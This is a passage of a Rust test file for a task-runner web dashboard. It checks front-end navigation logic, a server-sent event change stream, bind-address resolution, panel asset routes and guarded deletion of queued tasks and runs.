8685        assert!(APP_JS.contains("jumpToTask(id)"));
8686    }
8687
8688    #[test]
8689    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8690        // consumeQueueFocus() clears an active Backlog search before it can
8691        // scroll to the target card (the sections list is hidden while a
8692        // search is showing), by recursing back into renderQueue(). The
8693        // fixer's first cut nulled state.queueFocus before that recursive
8694        // call, so the second pass saw nothing to jump to and the jump was
8695        // silently dropped whenever a notification's link was opened with a
8696        // stale search still active. state.queueFocus must only be cleared
8697        // right before jumpToTask() actually runs.
8698        assert!(
8699            APP_JS.contains(
8700                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
8701            ),
8702            "the search-clearing branch must run before state.queueFocus is cleared, or the \
8703             recursive renderQueue() call has nothing left to jump to"
8704        );
8705        assert!(
8706            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
8707            "state.queueFocus must be cleared only once the jump has landed, so a card that \
8708             arrives later still gets it"
8709        );
8710        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
8711        assert!(APP_JS.contains("is not in the current Backlog."));
8712        assert!(APP_JS.contains("li.card[data-task-id=\""));
8713        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
8714        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
8715        assert!(APP_CSS.contains(".card-permalink"));
8716        assert!(APP_CSS.contains(".queue-focus-status"));
8717        assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
8718    }
8719
8720    #[test]
8721    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8722        // The task's own repro: only the link text inside .notice-meta was
8723        // clickable, so a tap on the message, the timestamp, or the card's
8724        // padding did nothing - on a phone that reads as "the card doesn't
8725        // work" even though the tiny link inside it did. Mark read / Dismiss
8726        // must keep working independently of this: `.closest("a, button")`
8727        // is what lets a tap that actually lands on those elements fall
8728        // through instead of being hijacked into a navigation.
8729        assert!(
8730            APP_JS.contains(
8731                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8732            ),
8733            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8734        );
8735    }
8736
8737    #[test]
8738    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8739        assert!(
8740            APP_JS.contains("round.verified_head !== round.head"),
8741            "a round that verified an earlier commit must be visibly distinct from one that \
8742             verified the head reviewers are looking at now"
8743        );
8744        assert!(
8745            APP_JS.contains("round.verified_at"),
8746            "when a check ran must be on the wire, not just which commit"
8747        );
8748        assert!(
8749            APP_JS.contains("resource_blocked"),
8750            "a command magi never got to run (shared build cache contention) must not render \
8751             the same as a command that ran and failed"
8752        );
8753    }
8754
8755    #[test]
8756    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
8757        // Every KPI tile but Total runs and Completion names an exact
8758        // RunStatus and hands it to openRunsFiltered(), which is what wires
8759        // the click into state.runsFilter.status (matchesFilter's own
8760        // status check) rather than the coarser runsStateFilter chips. Each
8761        // status literal here must be one of the strings runSection() (and
8762        // isStale()) actually compare a run's own `status` field against -
8763        // a status this dashboard invented would filter to nothing.
8764        assert!(
8765            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
8766            "every KPI tile built through statusTile() must route its click through \
8767             openRunsFiltered, the single place that sets the Runs filter"
8768        );
8769        for (label, status) in [
8770            ("Merged", "merged"),
8771            ("Ready", "ready"),
8772            ("Blocked", "blocked"),
8773            ("Stalled", "stalled"),
8774        ] {
8775            let call = format!("statusTile(\"{label}\", t.{status}, ");
8776            assert!(
8777                APP_JS.contains(&call),
8778                "expected the {label} KPI tile built via {call}..."
8779            );
8780            assert!(
8781                APP_JS.contains(&format!("status === \"{status}\"")),
8782                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
8783                 compare a run against, not one invented only for the stats tile"
8784            );
8785        }
8786        assert!(
8787            APP_JS.contains("function openRunsFiltered(status)"),
8788            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
8789        );
8790        assert!(
8791            APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
8792            "matchesFilter must gate on the exact status a KPI tile named"
8793        );
8794        // applyRoute() only flips which view is visible for a plain `#runs`
8795        // hash - it does not itself redraw the list (see applyRoute's own
8796        // handling below) - so openRunsFiltered must call renderRuns()
8797        // itself, and must call applyRoute() too so the view flips even
8798        // when the hash string doesn't change (the operator may already be
8799        // on the Runs view when a tile is tapped, which fires no
8800        // hashchange event at all).
8801        assert!(
8802            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
8803            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
8804             hashchange event that may never fire"
8805        );
8806    }
8807
8808    #[test]
8809    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
8810        // A stats tile can leave state.runsFilter.status set to something
8811        // done-by-construction (e.g. "merged") - picking "Active" afterward
8812        // must drop it the same way an incompatible tree section is already
8813        // dropped, or the Runs list renders permanently empty with no way
8814        // for the operator to tell why.
8815        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
8816        assert!(
8817            APP_JS.contains(
8818                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
8819            ),
8820            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
8821             guard for an incompatible tree section"
8822        );
8823    }
8824
8825    #[test]
8826    fn every_stats_queue_tile_names_a_real_queue_section() {
8827        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
8828        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
8829        // (consumeQueueSectionFocus finds no matching <details> and drops
8830        // the focus) rather than fail loudly, so pin every key against the
8831        // section list it has to resolve against.
8832        assert!(
8833            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
8834            "every queue tile built through sectionTile() must route its click through \
8835             openQueueSectionFocus"
8836        );
8837        for key in ["upnext", "running", "done", "held", "blocked"] {
8838            assert!(
8839                APP_JS.contains(&format!("{{ key: \"{key}\",")),
8840                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
8841            );
8842        }
8843        // Queued and Failed intentionally both resolve to "upnext" - the
8844        // same section queueSection() itself files them under - rather than
8845        // getting a section each.
8846        for line in [
8847            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
8848            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
8849            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
8850            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
8851            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
8852            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
8853        ] {
8854            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
8855        }
8856    }
8857
8858    #[test]
8859    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
8860        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
8861        // above for the section-focus channel a stats queue tile drives:
8862        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
8863        // through the stale-search-clear recursion into renderQueue(), and
8864        // clear it only once revealQueueSection() is actually about to run -
8865        // the same trap that once silently dropped a task-focus jump.
8866        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
8867        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
8868        assert!(APP_JS.contains("function revealQueueSection(details)"));
8869        assert!(
8870            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
8871            "renderQueue() must consume both focus channels on every pass"
8872        );
8873        assert!(
8874            APP_JS.contains(
8875                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
8876            ),
8877            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
8878             the recursive renderQueue() call has nothing left to reveal"
8879        );
8880        assert!(
8881            APP_JS.contains(
8882                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
8883            ),
8884            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
8885        );
8886        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
8887        // task-focus form of the hash - a plain `#queue` navigation only
8888        // flips which view is visible. openQueueSectionFocus() must
8889        // therefore call renderQueue() itself, and applyRoute() too so the
8890        // view flips even when the hash doesn't change (the Backlog may
8891        // already be open when a tile is tapped, firing no hashchange
8892        // event at all).
8893        assert!(
8894            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
8895            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
8896             hashchange event that may never fire"
8897        );
8898    }
8899
8900    #[tokio::test]
8901    async fn the_change_stream_announces_the_current_revisions_on_connect() {
8902        let f = Fixture::start().await;
8903
8904        let mut socket = tokio::net::TcpStream::connect(f.addr)
8905            .await
8906            .expect("connect");
8907        socket
8908            .write_all(
8909                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8910            )
8911            .await
8912            .expect("write request");
8913
8914        // Read until the first event arrives rather than to end of stream: the
8915        // stream is endless by design, which is the point of the route.
8916        let mut seen = String::new();
8917        let mut buf = [0u8; 1024];
8918        while !seen.contains("event: change") {
8919            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8920                .await
8921                .expect("the stream must speak within five seconds")
8922                .expect("read");
8923            assert!(read > 0, "the server closed the change stream: {seen}");
8924            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8925        }
8926
8927        assert!(
8928            seen.to_lowercase()
8929                .contains("content-type: text/event-stream"),
8930            "the browser only reconnects automatically for a real SSE stream: {seen}"
8931        );
8932        let data = seen
8933            .lines()
8934            .find_map(|l| l.strip_prefix("data:"))
8935            .expect("a data line");
8936        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8937        assert!(
8938            payload["queue_rev"].is_u64()
8939                && payload["runs_rev"].is_u64()
8940                && payload["questions_rev"].is_u64()
8941                && payload["talks_rev"].is_u64()
8942                && payload["notifications_rev"].is_u64()
8943                && payload["loop_rev"].is_u64(),
8944            "the client needs one revision per store to know what to refetch, \
8945             and `talks_rev` is the only notification a standing talk gets - a \
8946             phone whose radio slept through a turn learns about it here, as \
8947             does one whose operator started the loop from another device: \
8948             {payload}"
8949        );
8950
8951        // The front end re-polls health on a timer and on wake, and takes the
8952        // revisions from that answer whenever the stream is not up. So health
8953        // has to carry every key the stream carries: a phone on a link that
8954        // will not hold an SSE connection is exactly the phone that must still
8955        // notice a question, and a missing key there is not a 500 but a UI
8956        // that quietly stops updating.
8957        let health = f.get("/api/health").await.json();
8958        for key in [
8959            "queue_rev",
8960            "runs_rev",
8961            "questions_rev",
8962            "talks_rev",
8963            "notifications_rev",
8964            "loop_rev",
8965        ] {
8966            assert!(
8967                health[key].is_u64(),
8968                "health is the change stream's fallback and is missing `{key}`: {health}"
8969            );
8970        }
8971    }
8972
8973    #[tokio::test]
8974    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8975        let f = Fixture::start().await;
8976        let before = f.get("/api/health").await.json()["talks_rev"]
8977            .as_u64()
8978            .expect("talks_rev");
8979
8980        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8981        std::thread::sleep(Duration::from_millis(10));
8982        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8983        on_disk.turns.push(crate::talk::Turn {
8984            who: crate::talk::Who::Operator,
8985            body: "a new turn".to_owned(),
8986            at: Timestamp::now(),
8987            attachments: Vec::new(),
8988        });
8989        f.talks().put(&mut on_disk).expect("record a turn");
8990
8991        let after = f.get("/api/health").await.json()["talks_rev"]
8992            .as_u64()
8993            .expect("talks_rev");
8994        assert_ne!(
8995            before, after,
8996            "a phone must be able to notice a talk's reply without polling every store"
8997        );
8998    }
8999
9000    #[test]
9001    fn bind_reads_back_from_the_spelling_the_cli_prints() {
9002        // The CLI shows the default in `--help` and parses whatever comes
9003        // back, so the two directions have to agree or `--bind auto` breaks
9004        // the moment someone copies the help text.
9005        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
9006            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
9007        }
9008        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
9009        assert!("everywhere".parse::<Bind>().is_err());
9010    }
9011
9012    #[test]
9013    fn an_explicit_bind_address_is_taken_verbatim() {
9014        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
9015
9016        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
9017
9018        assert_eq!(addr, asked);
9019        assert!(
9020            warning.is_none(),
9021            "an operator who named an address gets no lecture"
9022        );
9023    }
9024
9025    #[test]
9026    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
9027        let (addr, warning) = resolve_bind(&Bind::Auto);
9028
9029        // This has to hold on a CI runner with no `tailscale` and on a dev box
9030        // with one, so the invariant asserted is the one shared by both
9031        // outcomes: the address is either a real tailnet address offered
9032        // without comment, or loopback with an explanation. What must never
9033        // happen is a silent fallback - an operator told "listening on
9034        // 127.0.0.1" with no reason would go looking for a firewall.
9035        match addr {
9036            IpAddr::V4(ip) if is_tailnet(&ip) => {
9037                assert!(warning.is_none(), "a tailnet address needs no warning");
9038            }
9039            other => {
9040                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
9041                let warning = warning.expect("a fallback has to explain itself");
9042                assert!(
9043                    warning.contains("127.0.0.1") && warning.contains("local-only"),
9044                    "the warning says what happened and what it costs: {warning}"
9045                );
9046            }
9047        }
9048    }
9049
9050    #[test]
9051    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
9052        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
9053        // boundary cases are what stop us binding to some other tool's idea of
9054        // an address.
9055        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
9056        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
9057        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
9058        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
9059        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
9060    }
9061
9062    #[test]
9063    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
9064        let ids = vec![
9065            "20260902-140501-aaaa".to_owned(),
9066            "20260902-140502-aabb".to_owned(),
9067        ];
9068
9069        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
9070        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
9071        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
9072
9073        assert_eq!(missing.status, StatusCode::NOT_FOUND);
9074        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
9075        assert_eq!(short, "20260902-140502-aabb");
9076    }
9077    #[tokio::test]
9078    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
9079        // The prompt tells agents to reference attachments by bare filename.
9080        // A document served at `.../panel` resolves `shot.png` against its own
9081        // directory, i.e. `.../shot.png`, which is not the asset route - so a
9082        // panel written exactly as instructed showed broken images. Caught by
9083        // looking at a real one in a browser, not by reading the code.
9084        let fx = Fixture::start().await;
9085        let id = panel(
9086            &fx,
9087            "<img src=\"shot.png\">",
9088            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
9089        );
9090
9091        // The frame's own URL ends in a filename, so its siblings are reachable.
9092        let doc = fx
9093            .get(&format!("/api/questions/{id}/panel/index.html"))
9094            .await;
9095        assert_eq!(doc.status, 200, "{}", doc.body);
9096        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
9097
9098        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
9099        assert_eq!(sibling.status, 200, "{}", sibling.body);
9100        assert_eq!(sibling.header("content-type"), Some("image/png"));
9101        assert_eq!(
9102            sibling.header("content-security-policy"),
9103            Some(PANEL_CSP),
9104            "the sibling route must carry the same policy as the asset route"
9105        );
9106
9107        // The original spelling keeps working: HEAD on it is how the front end
9108        // decides whether to mount a frame at all.
9109        assert_eq!(
9110            fx.head(&format!("/api/questions/{id}/panel")).await.status,
9111            200
9112        );
9113    }
9114
9115    #[test]
9116    fn runs_revision_moves_when_deleting_an_older_run() {
9117        let temp = TempDir::new().expect("tempdir");
9118        let runs = temp.path().join("runs");
9119        std::fs::create_dir_all(&runs).expect("create runs dir");
9120
9121        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
9122
9123        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
9124        std::thread::sleep(Duration::from_millis(10));
9125        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
9126
9127        let rev_before = runs_revision(&runs);
9128        assert!(rev_before > 0);
9129
9130        let old_dir = runs.join("20260901-100000-old1");
9131        std::fs::remove_dir_all(&old_dir).expect("remove old run");
9132
9133        let rev_after = runs_revision(&runs);
9134        assert_ne!(
9135            rev_before, rev_after,
9136            "deleting an older run must change the revision so other clients see the deletion"
9137        );
9138    }
9139
9140    /// A run's own `run.json` on an explicit `runs` root, bypassing the
9141    /// process-global home entirely — `RunState::save` writes through
9142    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
9143    /// (see `tests::home_lock` in the integration suite for why).
9144    fn write_state(runs: &FsPath, state: &RunState) {
9145        let dir = runs.join(&state.id);
9146        std::fs::create_dir_all(&dir).expect("run dir");
9147        std::fs::write(
9148            dir.join("run.json"),
9149            serde_json::to_string_pretty(state).expect("serialize run"),
9150        )
9151        .expect("write run.json");
9152    }
9153
9154    /// A seat starting or finishing is a write to `run.json` like any other,
9155    /// so it moves the same revision the change stream already watches —
9156    /// nothing new for `/api/events` to learn, but the property this feature
9157    /// depends on to reach the phone without a poll.
9158    #[test]
9159    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
9160        let temp = TempDir::new().expect("tempdir");
9161        let runs = temp.path().join("runs");
9162        std::fs::create_dir_all(&runs).expect("create runs dir");
9163        let mut state = RunState::new(
9164            PathBuf::from("/repo/magi"),
9165            "main".to_owned(),
9166            "0123456789abcdef".to_owned(),
9167            "task".to_owned(),
9168            Config::default(),
9169        );
9170        state.id = "20260902-100000-c0de".to_owned();
9171        write_state(&runs, &state);
9172
9173        let rev_idle = runs_revision(&runs);
9174        std::thread::sleep(Duration::from_millis(10));
9175        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
9176        write_state(&runs, &state);
9177        let rev_started = runs_revision(&runs);
9178        assert_ne!(
9179            rev_idle, rev_started,
9180            "a seat starting must move the revision"
9181        );
9182
9183        std::thread::sleep(Duration::from_millis(10));
9184        state.seat_finished("judge-1");
9185        write_state(&runs, &state);
9186        let rev_finished = runs_revision(&runs);
9187        assert_ne!(
9188            rev_started, rev_finished,
9189            "and clearing it again must move the revision a second time"
9190        );
9191    }
9192
9193    #[tokio::test]
9194    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
9195        // `TaskView` flattens `Task`, so this is really asserting that
9196        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
9197        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
9198        // never touched web.rs, so nothing here caught it if it had.
9199        let fx = Fixture::start().await;
9200        let q = fx.queue();
9201
9202        let mut t = Task::new(
9203            "Task".to_owned(),
9204            "Instruction".to_owned(),
9205            PathBuf::from("/repo"),
9206            Source::Human,
9207        );
9208        t.block(
9209            vec!["20260101-000000-dead".to_owned()],
9210            Some("waiting on Task 1".to_owned()),
9211        );
9212        t.answers.push(crate::queue::AnsweredQuestion {
9213            question: "Which backend?".to_owned(),
9214            answer: "SQLite".to_owned(),
9215        });
9216        q.put(&mut t).expect("put t");
9217
9218        let res = fx.get("/api/queue").await;
9219        assert_eq!(res.status, 200);
9220        let list = res.json();
9221        let view = list
9222            .as_array()
9223            .expect("array")
9224            .iter()
9225            .find(|v| v["id"] == t.id)
9226            .expect("task in list");
9227        assert_eq!(view["status_str"], "blocked");
9228        assert_eq!(
9229            view["blocked_by"],
9230            serde_json::json!(["20260101-000000-dead"])
9231        );
9232        assert_eq!(view["block_reason"], "waiting on Task 1");
9233        assert_eq!(view["answers"][0]["question"], "Which backend?");
9234        assert_eq!(view["answers"][0]["answer"], "SQLite");
9235
9236        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
9237        // but never `answers` - that is a settled decision, not state
9238        // describing the current block, so it survives.
9239        let res = fx
9240            .post(&format!("/api/queue/{}/hold", t.short()), None)
9241            .await;
9242        assert_eq!(res.status, 200);
9243        let held = res.json();
9244        assert_eq!(held["status_str"], "held");
9245        assert_eq!(held["blocked_by"], serde_json::json!([]));
9246        assert!(held["block_reason"].is_null());
9247        assert_eq!(held["answers"][0]["answer"], "SQLite");
9248    }
9249
9250    #[tokio::test]
9251    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
9252        let fx = Fixture::start().await;
9253        let q = fx.queue();
9254        let mk = |title: &str| {
9255            Task::new(
9256                title.to_owned(),
9257                "Instruction".to_owned(),
9258                PathBuf::from("/repo"),
9259                Source::Human,
9260            )
9261        };
9262        let mut root = mk("root");
9263        root.hold_manual(Some("waiting".to_owned()));
9264        q.put(&mut root).unwrap();
9265        let mut mid = mk("mid");
9266        mid.block(vec![root.id.clone()], None);
9267        q.put(&mut mid).unwrap();
9268        let mut leaf = mk("leaf");
9269        leaf.block(vec![mid.id.clone()], None);
9270        q.put(&mut leaf).unwrap();
9271
9272        let list = fx.get("/api/queue").await.json();
9273        let find = |id: &str| {
9274            list.as_array()
9275                .unwrap()
9276                .iter()
9277                .find(|v| v["id"] == id)
9278                .unwrap()
9279                .clone()
9280        };
9281        let leaf_view = find(&leaf.id);
9282        assert_eq!(
9283            leaf_view["waits_on"],
9284            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
9285        );
9286        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
9287        assert_eq!(
9288            find(&mid.id)["waits_on"],
9289            serde_json::json!([format!("{} (held)", root.short())])
9290        );
9291        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
9292    }
9293
9294    #[tokio::test]
9295    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
9296        let fx = Fixture::start().await;
9297        let q = fx.queue();
9298
9299        // 1. A queued task with runs attached can be deleted.
9300        let mut t1 = Task::new(
9301            "Task 1".to_owned(),
9302            "Instruction 1".to_owned(),
9303            PathBuf::from("/repo"),
9304            Source::Human,
9305        );
9306        let run_id = "20260901-000000-r111";
9307        t1.runs.push(run_id.to_owned());
9308        write_run(&fx.runs(), run_id, RunStatus::Merged);
9309        q.put(&mut t1).expect("put t1");
9310
9311        // Delete by short id
9312        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
9313        assert_eq!(res.status, 204);
9314        assert!(res.body.is_empty(), "204 No Content has no body");
9315        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
9316        assert!(
9317            fx.runs().join(run_id).exists(),
9318            "run directory must not be deleted when its task is deleted"
9319        );
9320
9321        // 2. A task a live daemon is running is refused with 409.
9322        let mut t2 = Task::new(
9323            "Task 2".to_owned(),
9324            "Instruction 2".to_owned(),
9325            PathBuf::from("/repo"),
9326            Source::Human,
9327        );
9328        t2.status = TaskStatus::Running;
9329        q.put(&mut t2).expect("put t2");
9330        let mut beat = crate::daemon::Status::new();
9331        beat.current = vec![crate::daemon::Current {
9332            task: t2.id.clone(),
9333            run: "20260901-000000-r222".to_owned(),
9334        }];
9335        beat.updated_at = jiff::Timestamp::now();
9336        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9337            .expect("publish a heartbeat");
9338        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
9339        assert_eq!(res.status, 409);
9340        assert!(
9341            res.json()["error"]
9342                .as_str()
9343                .unwrap()
9344                .contains("live daemon")
9345        );
9346        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
9347
9348        // 3. The same `running` status and an orphaned lock, with no daemon
9349        // behind either, is a leftover and deletable. Before this the phone
9350        // refused it for good: the status never changes on its own and
9351        // nothing drops a lock whose process is gone.
9352        // The daemon is killed: the file stays, the heartbeat stops.
9353        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
9354        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9355            .expect("leave a stale heartbeat");
9356        let mut t3 = Task::new(
9357            "Task 3".to_owned(),
9358            "Instruction 3".to_owned(),
9359            PathBuf::from("/repo"),
9360            Source::Human,
9361        );
9362        t3.status = TaskStatus::Running;
9363        q.put(&mut t3).expect("put t3");
9364        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
9365        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
9366        assert_eq!(res.status, 204);
9367        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
9368        assert!(
9369            q.claim(&t3.id).is_ok(),
9370            "the stale lock went with it, so the id is claimable again"
9371        );
9372
9373        // 4. Missing id returns 404
9374        let res = fx.delete("/api/queue/nonexistent").await;
9375        assert_eq!(res.status, 404);
9376    }
9377
9378    #[tokio::test]
9379    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
9380        let fx = Fixture::start().await;
9381        let runs = fx.runs();
9382
9383        // 1. Finished and folded run can be deleted along with artifacts
9384        let run_id = "20260901-000000-fold";
9385        let mut state = RunState::new(
9386            PathBuf::from("/repo"),
9387            "main".to_owned(),
9388            "abc".to_owned(),
9389            "instruction".to_owned(),
9390            Config::default(),
9391        );
9392        state.id = run_id.to_owned();
9393        state.status = RunStatus::Merged;
9394        state.candidates.push(crate::run::Candidate {
9395            index: 0,
9396            label: 'A',
9397            agent: "a".to_owned(),
9398            branch: "b".to_owned(),
9399            worktree: PathBuf::from("/w"),
9400            summary: String::new(),
9401            stat: String::new(),
9402            files: 1,
9403            commits: 1,
9404            empty: false,
9405            failed: None,
9406            verified_noop: None,
9407            duration_ms: 0,
9408            folded: true,
9409        });
9410        let dir = runs.join(run_id);
9411        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9412        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9413            .expect("write artifact");
9414        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9415            .expect("write run.json");
9416
9417        // Delete by short id
9418        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9419        assert_eq!(res.status, 204);
9420        assert!(res.body.is_empty(), "204 has no body");
9421        assert!(!dir.exists(), "run directory and artifacts must be deleted");
9422
9423        // 2. A run a live daemon is working on is refused with 409. The
9424        // heartbeat is what makes it refusable: an unfinished run with no
9425        // daemon behind it is a leftover from a killed process, and case 1
9426        // above would otherwise be impossible to tell apart from this one.
9427        let run_running = "20260901-000000-rung";
9428        write_run(&runs, run_running, RunStatus::Prep);
9429        let mut beat = crate::daemon::Status::new();
9430        beat.current = vec![crate::daemon::Current {
9431            task: "20260901-000000-task".to_owned(),
9432            run: run_running.to_owned(),
9433        }];
9434        beat.updated_at = jiff::Timestamp::now();
9435        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9436            .expect("publish a heartbeat");
9437        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9438        assert_eq!(res.status, 409);
9439        assert!(
9440            res.json()["error"]
9441                .as_str()
9442                .unwrap()
9443                .contains("live daemon"),
9444            "the refusal must say who is holding it"
9445        );
9446        assert!(
9447            runs.join(run_running).exists(),
9448            "a run in flight keeps its directory"
9449        );
9450
9451        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
9452        let run_unfolded = "20260901-000000-unfd";
9453        let mut state2 = RunState::new(
9454            PathBuf::from("/repo"),
9455            "main".to_owned(),
9456            "abc".to_owned(),
9457            "instruction".to_owned(),
9458            Config::default(),
9459        );
9460        state2.id = run_unfolded.to_owned();
9461        state2.status = RunStatus::Ready;
9462        state2.candidates.push(crate::run::Candidate {
9463            index: 0,
9464            label: 'A',
9465            agent: "a".to_owned(),
9466            branch: "b".to_owned(),
9467            worktree: PathBuf::from("/w"),
9468            summary: String::new(),
9469            stat: String::new(),
9470            files: 1,
9471            commits: 1,
9472            empty: false,
9473            failed: None,
9474            verified_noop: None,
9475            duration_ms: 0,
9476            folded: false,
9477        });
9478        let dir2 = runs.join(run_unfolded);
9479        std::fs::create_dir_all(&dir2).expect("create dir2");
9480        std::fs::write(
9481            dir2.join("run.json"),
9482            serde_json::to_string(&state2).unwrap(),
9483        )
9484        .expect("write run.json");
9485
9486        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9487        assert_eq!(res.status, 409);
9488        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9489        assert!(dir2.exists(), "unfolded run directory is kept");
9490
9491        // 4. Missing id returns 404
9492        let res = fx.delete("/api/runs/nonexistent").await;
9493        assert_eq!(res.status, 404);
9494    }
9495
9496    /// The queue tiles on the Stats tab must render even on a home with no
9497    /// runs at all: queue state is not derived from run history, so hiding
9498    /// the whole dashboard body behind "no runs yet" would drop the one
9499    /// thing this tab promises unconditionally (queued/running/held/done).
9500    /// A DOM-level test would need a browser this suite does not have, so
9501    /// this pins the same invariant textually: `renderStatsQueue` is called
9502    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
9503    /// block that gates the run-derived panels.
9504    #[test]
